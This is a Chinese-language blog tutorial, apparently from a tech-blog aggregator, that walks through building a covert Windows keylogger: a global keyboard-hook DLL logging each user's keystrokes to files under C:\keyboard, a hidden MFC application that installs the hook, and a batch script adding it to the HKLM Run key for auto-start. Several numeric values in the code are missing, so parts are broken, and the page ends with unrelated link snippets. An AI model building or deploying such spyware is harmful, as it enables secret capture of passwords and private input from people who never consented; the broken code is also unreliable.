本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意。

这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记录写在指定的log文件里。

程序分为两个部分:全局钩子DLL和一个隐藏的单文档应用程序。

  • 全局钩子DLL

创建基于“MFC AppWizard(dll)”的“扩展MFC DLL(Extension MFC DLL)”类型工程KeyBoardHook

在自动生成的源文件KeyBoardHook.cpp中,

定义全局变量:

  1. #pragma data_seg("publicdata")
  2. HHOOK hhook = NULL;
  3. HINSTANCE pinstance = NULL;
  4. #pragma data_seg()

在DLL入口函数中,添加获取钩子实例句柄的代码:

  1. extern "C" int APIENTRY
  2. DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
  3. {
  4. // Remove this if you use lpReserved
  5. UNREFERENCED_PARAMETER(lpReserved);
  6.  
  7. if (dwReason == DLL_PROCESS_ATTACH)
  8. {
  9. TRACE0("KEYBOARDHOOK.DLL Initializing!\n");
  10.  
  11. // Extension DLL one-time initialization
  12. if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))
  13. return ;
  14.  
  15. new CDynLinkLibrary(KeyBoardHookDLL);
  16. pinstance = hInstance; //获取钩子实例句柄
  17. }
  18. else if (dwReason == DLL_PROCESS_DETACH)
  19. {
  20. TRACE0("KEYBOARDHOOK.DLL Terminating!\n");
  21. // Terminate the library before destructors are called
  22. AfxTermExtensionModule(KeyBoardHookDLL);
  23. }
  24. return ; // ok
  25. }

全局钩子的具体实现代码:

  1. //保存日志文件
  2. extern "C" void SaveLog(char* c)
  3. {
  4. //printf("刚才点击的是%c键/n", &c);
  5. //char buffer[80];
  6. //wsprintf(buffer, "c的值是%c", c);
  7. //AfxMessageBox(buffer);
  8. const int MAX_BUFFER_LEN = ;
  9. char szBuffer[MAX_BUFFER_LEN];
  10. DWORD dwNameLen;
  11.  
  12. dwNameLen = MAX_BUFFER_LEN;
  13. GetUserName(szBuffer, &dwNameLen);
  14.  
  15. CTime tm=CTime::GetCurrentTime();
  16. CString name;
  17. name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());
  18. CFile file;
  19. if(!file.Open(name,CFile::modeReadWrite))
  20. {
  21. file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
  22. }
  23. file.SeekToEnd();
  24. file.Write(c,);
  25. file.Close();
  26. }
  27.  
  28. //键盘钩子回调函数
  29. extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM lParam)
  30. {
  31. LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);
  32. //AfxMessageBox("huidiao");
  33. if(nCode == HC_ACTION){
  34. if(lParam & 0x80000000){
  35. char c[];
  36. c[]=wParam;
  37. //AfxMessageBox(c);
  38. SaveLog(c);
  39. }
  40. }
  41.  
  42. return Result;
  43. }
  44.  
  45. //安装钩子,即创建了钩子WH_KEYBOARD到钩子处理函数KeyboardPro()的链接
  46. extern "C" bool WINAPI InstallHook()
  47. {
  48. // AfxMessageBox("anzhuang");
  49. hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, );
  50. if(hhook != NULL)
  51. return true;
  52. else
  53. return false;
  54. }

用def文件导出DLL函数,在KeyBoardHook.def中添加:

  1. EXPORTS
  2. ; Explicit exports can go here
  3. InstallHook @ //dll导出函数的名称为InstallHook,序号为1

至此,编译并运行,程序的DLL部分便完成了。

  • 负责调用DLL的单文档应用程序

创建一个MFC单文档应用程序工程KeyBoardHookApp,将刚才DLL工程中编译好的KeyBoardHook.dll和KeyBoardHook.lib拷贝到KeyBoardHookApp工程的Debug目录中。

设置连接文件:在 工程->设置->连接 的“对象/库模块 ”中填写KeyBoardHook.lib

在头文件KeyBoardHookApp.h中添加导出函数声明,以满足在此应用中调用DLL中的函数:

  1. //安装钩子函数
  2. extern "C" bool WINAPI InstallHook();

在视类KeyBoardHookAppView.cpp中重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:

具体操作可以利用VC++类向导自动生成代码:ctrl+w建立类向导,然后在class name中选择带...View的视类,选择类本身的Object ID,在Message中选择OnInitialUpdate,双击Member functions添加代码。

  1. void CKeyBoardHookAppView::OnInitialUpdate()
  2. {
  3. CView::OnInitialUpdate();
  4.  
  5. // TODO: Add your specialized code here and/or call the base class
  6. InstallHook();
  7. }

最后,将本单文档应用程序的窗口进行隐藏,使之成为一个后台监控程序:

在KeyBoardHookApp.cpp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。

  • 设置本程序随开机自启动

使用bat批处理来制作安装和卸载

  1. md C:\keyboard
  2. @reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
  1. @reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f

以管理员身份运行“安装.bat”  ,程序在系统重启后生效。日志文件放在C:\keyboard目录下。

参考:

《精通Windows程序设计——基于Visual C++实现》   人民邮电出版社

《利用键盘钩子捕获Windows键盘动作》    http://www.yesky.com/328/1890328.shtml

VC++开发Windows系统全局钩子的更多相关文章

  1. VC++ 获取windows系统的版本类型

    vc中获取windows版本信息,一般是调用GetVersionEx 这个API函数来获取的,这个API需要OSVERSIONINFOEX 这个结构体作为参数,OSVERSIONINFOEX 的对应的 ...

  2. VC++ 获取Windows系统版本号、CPU名称

    转载:https://blog.csdn.net/sunflover454/article/details/51525179 转载:https://blog.csdn.net/magictong/ar ...

  3. windows 键盘全局钩子

    // HookapiTest.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <Windows.h> #inc ...

  4. 【旧文章搬运】Windows中全局钩子DLL的加载过程

    原文发表于百度空间,2011-03-24========================================================================== 看雪上别人 ...

  5. 安全之路 —— 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  6. Windows系统VSCode、VBox搭建C/C++开发环境

    好几年没有写过C/C++代码,基本上都忘光了,之前是使用VC++6.0写代码的,最近用VSCode成功搭建了C/C++开发环境,这里记录一下搭建过程. 1. 安装VSCode 在官网https://c ...

  7. 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  8. WSL2:在Windows系统中开发Linux程序的又一神器

    作 者:道哥,10+年的嵌入式开发老兵. 公众号:[IOT物联网小镇],专注于:C/C++.Linux操作系统.应用程序设计.物联网.单片机和嵌入式开发等领域. 公众号回复[书籍],获取 Linux. ...

  9. 2013-6-2 [转载自CSDN]如何入门Windows系统下驱动开发

    [序言]很多人都对驱动开发有兴趣,但往往找不到正确的学习方式.当然这跟驱动开发的本土化资料少有关系.大多学的驱动开发资料都以英文为主,这样让很多驱动初学者很头疼.本人从事驱动开发时间不长也不短,大概 ...

随机推荐

  1. JS如何获取PHP循环中的ID

    JS如何获取PHP循环中的ID  kaalrz 二路公交车    结帖率:83.33%   首先抱歉,因为昨天那帖图片几次都不能用,修改到不能再次修改,今天早上回帖又提示没有这个帖,只好重发一次. 如 ...

  2. Codeforces 710C. Magic Odd Square n阶幻方

    C. Magic Odd Square time limit per test:1 second memory limit per test:256 megabytes input:standard ...

  3. Codeforces C. NP-Hard Problem 搜索

    C. NP-Hard Problem time limit per test:2 seconds memory limit per test:256 megabytes input:standard ...

  4. laravel-excel文档翻译笔记

    1.安装      1>composer 安装 "maatwebsite/excel": "~2.1.0"      2>app/config/ap ...

  5. OSGi 系列(十三)之 Configuration Admin Service

    OSGi 系列(十三)之 Configuration Admin Service OSGi 的 CM 就是 Configuration Admin Service,是用于管理 Bundle 属性.并在 ...

  6. ubuntu and centos各种上网代理设置

    1.Ubuntu 一. apt-get 代理设置 由于公司通过代理上网,firefox的代理设置很容易就搞定了,但是通过apt-get安装软件还是不行,于是,查阅了很多资料,最多的方法就是网上流传的三 ...

  7. Android无线调试_adbWireless

    NC的ADB驱动是个很让人头疼的问题,纵使老玩家有时候也是反复装装不上,有时候就算装上了,换一个ROM就又不行了,真是让人扣心扣肺,欲哭无泪,欲罢不能啊...现在好了,有了adbWireless不但可 ...

  8. Sublime Text webstorm等编译器快速编写HTML/CSS代码的技巧

    <!DOCTYPE html> Sublime Text webstorm等编译器快速编写HTML/CSS代码的技巧--summer-rain博客园 xiayuhao 东风夜放花千树. 博 ...

  9. 2018.10.15 NOIP训练 百事世界杯之旅(期望dp)

    传送门 期望题. 其实跟dpdpdp关系并不大. 考虑f[i]f[i]f[i]表示已经凑出了iii个需要的次数. 显然有:f[i]=ni∗f[i]+nn−i∗f[i+1]+1f[i]=\frac {n ...

  10. 2018.09.02 bzoj1296: [SCOI2009]粉刷匠(dp套dp)

    传送门 dp好题. 先推出对于每一行花费k次能最多粉刷的格子数. 然后再推前i行花费k次能最多粉刷的格子数. 代码: #include<bits/stdc++.h> #define N 5 ...